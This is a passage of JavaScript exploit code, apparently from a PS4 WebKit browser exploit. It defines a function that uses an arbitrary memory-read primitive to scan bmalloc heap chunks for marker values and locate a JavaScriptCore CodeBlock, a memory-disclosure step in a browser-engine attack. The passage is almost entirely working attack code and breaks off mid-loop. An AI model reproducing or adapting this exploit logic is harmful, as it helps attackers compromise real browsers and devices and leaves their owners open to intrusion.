| 434 | })(); |
| 435 | |
| 436 | async function leak_code_block(reader, bt_size) { |
| 437 | const rdr = reader; |
| 438 | const bt = []; |
| 439 | // take into account the cell and indexing header of the immutable |
| 440 | // butterfly |
| 441 | for (let i = 0; i < bt_size - 0x10; i += 8) { |
| 442 | bt.push(i); |
| 443 | } |
| 444 | |
| 445 | // cache the global variable resolution |
| 446 | const slen = ssv_len; |
| 447 | |
| 448 | const bt_part = `var bt = [${bt}];\nreturn bt;\n`; |
| 449 | const part = bt_part + src_part; |
| 450 | const cache = []; |
| 451 | for (let i = 0; i < num_leaks; i++) { |
| 452 | cache.push(part + `var idx = ${i};\nidx\`foo\`;`); |
| 453 | } |
| 454 | |
| 455 | // bmalloc chunkSize on the ps4 |
| 456 | const chunkSize = 128 * KB; |
| 457 | const smallPageSize = 4 * KB; |
| 458 | const search_addr = align(rdr.m_data, chunkSize); |
| 459 | // debug_log(`search addr: ${search_addr}`); |
| 460 | |
| 461 | // debug_log(`func_src:\n${cache[0]}\nfunc_src end`); |
| 462 | // debug_log('start find CodeBlock'); |
| 463 | let winning_off = null; |
| 464 | let winning_idx = null; |
| 465 | let winning_f = null; |
| 466 | let find_cb_loop = 0; |
| 467 | // false positives |
| 468 | let fp = 0; |
| 469 | rdr.set_addr(search_addr); |
| 470 | loop: while (true) { |
| 471 | const funcs = []; |
| 472 | for (let i = 0; i < num_leaks; i++) { |
| 473 | const f = Function(cache[i]); |
| 474 | // the first call allocates the CodeBlock |
| 475 | f(); |
| 476 | funcs.push(f); |
| 477 | } |
| 478 | |
| 479 | for (let p = 0; p < chunkSize; p += smallPageSize) { |
| 480 | for (let i = p; i < p + smallPageSize; i += slen) { |
| 481 | if (rdr.read32_at(i + 8) !== 0x11223344) { |
| 482 | continue; |
| 483 | } |
| 484 | |
| 485 | rdr.set_addr(rdr.read64_at(i + strs_offset)); |
| 486 | const m_type = rdr.read8_at(4); |
| 487 | // make sure we're not reading the constant registers of an |
| 488 | // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. |
| 489 | // CodeBlock converts those to JSArrays |
| 490 | if (m_type !== 0) { |
| 491 | rdr.set_addr(search_addr); |
| 492 | winning_off = i; |
| 493 | winning_idx = rdr.read32_at(i + idx_offset); |